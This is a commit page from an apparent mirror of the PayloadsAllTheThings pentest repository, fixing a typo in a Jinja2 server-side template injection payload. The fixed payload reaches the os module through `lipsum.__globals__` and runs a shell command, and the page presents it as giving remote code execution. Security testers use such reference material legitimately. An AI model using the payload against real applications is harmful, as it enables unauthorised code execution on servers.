1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-04-19 03:44:00 +02:00

SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"]

This commit is contained in:
Rémi GASCOU (Podalirius) 2023-05-09 20:15:02 +02:00 committed by GitHub
parent 8d2c30e969
commit b3f98adf0c
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
{{ lipsum.__globals__["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860